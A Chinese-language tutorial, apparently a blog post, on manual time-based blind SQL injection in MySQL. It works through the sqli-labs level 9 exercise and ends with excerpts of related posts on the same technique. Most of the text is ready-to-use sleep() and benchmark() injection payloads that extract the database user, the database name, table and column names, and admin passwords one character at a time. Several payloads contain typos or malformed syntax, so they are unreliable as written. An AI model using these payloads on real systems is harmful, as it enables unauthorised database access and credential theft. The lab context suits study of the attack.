mysql 時間盲注 MySQL手注之時間盲注

2021-10-17 21:43:57 字數 2161 閱讀 3241

時間盲注(延遲):

沒有任何回顯點 在頁面中輸入任何內容都會返回同乙個頁面內容的 就可以嘗試使用延遲盲注。

時間盲注常用的函式:

if函式:  if(condition,a,b)

含義: 如果condition 成立,執行a,則b

substr函式:

含義:擷取字串。subster(string, start, length)

從string的start位開始擷取len個字元

ascii函式: ascii(char)

含義: 將char轉化成ascii碼值

延遲注入:

當mysql版本》-5.0時 使用sleep()進行查詢

當mysql版本<5.0時 使用benchmark()進行查詢

benchmark()壓力測試

通過查詢次數增多, 時間變得緩慢來判斷是否存在延遲。

語句: select benchamark(1000,selcet * from admin);

sleep()

來判斷是否存在延遲注入

語句為: id=1' and sleep(5)

演練: sqil-labs  9關

首先使用語句檢測是否存在延時注入 這裡延遲了十秒。

通過開發者工具的網路來檢視 網頁響應時間,因此斷定存在延遲注入

判斷當前使用者

and if(ascii(substr(user(),1,1))=114,sleep(5),1) --+

(substr(suer(),1,1) : 擷取當前資料庫的第乙個字元

網頁延遲了7秒,說明當前的 ascii 114 對應的值是  r

繼續使用二分法測試

and if(ascii(substr(user(),2,1))<114,sleep(5),1) --+

and if(ascii(substr(user(),2,1))>0,sleep(5),1) --+

取一中間數57判斷是大於57 還是小於57

and if(ascii(substr(user(),2,1))>57,sleep(5),1) --+

這裡延時7秒 所以114< 且 >57  取中間數 85

and if(ascii(substr(user(),2,1))>85,sleep(5),1) --+

延遲7秒   所以11485   取中間數100

and if(ascii(substr(user(),2,1))>100,sleep(5),1) --+

114100   取數110

and if(ascii(substr(user(),2,1))=110,sleep(5),1) --+

返回7秒 發現ascii110 即是 使用者名稱的第二位數 n第三位 則更改數字 按上述步驟進行查詢即可。

判斷當前資料庫長度

猜解資料庫名稱

and if(ascii(substr(database(),1,1))>55,sleep(5),1) --+

猜解表名

and if(ascii(substr((select distinct concat(table_name) from information_schema.tables where table_schema=database() limit 0,1),1,1))=116,sleep(5),1);--+

猜解列名

and if(ascii(substr((select column_name from information_schema.columns where table_name='admin' limit,0,1),1,1))>100,sleep(5),1)--+

猜解資料

and if(ascii(substr((select password from admin limit 0,1),1,1))>100,sleep(5),1)--+

時間盲注手注

基於時間的盲注 時間的概念 使用特定函式讓資料庫去執行,通過自己的設定,來檢視資料庫是否get到我們的請求 函式sleep 設定資料庫的延時或者暫停的時間 函式limit 0,1 限制第乙個的第乙個字元 函式mid 1,1 從第乙個字元開始擷取,只擷取乙個 函式benchmark 引數一,引數二 第...

Mysql時間盲注

if 函式 if 1,2,3 如果條件1為真,執行結果語句2 如果條件1為假,執行結果語句3 sleep 函式 sleep以秒來算的 length 函式 測量字串的長度 substr 函式 substr s,a,b a為對s擷取的位置,b為對s擷取的長度 ascii 函式 ascii a 返回a的a...

布林盲注手注

布林盲注 mid str,1,3 字串擷取 意思就是把str這個字串從第乙個字串開始,擷取前三個顯示 substr 這個函式和上面的用法一樣,也是用來擷取字串的 ord 轉換成ascii碼 length 統計長度 version 是檢視資料庫版本 database 檢視當前資料庫名 user 檢視當...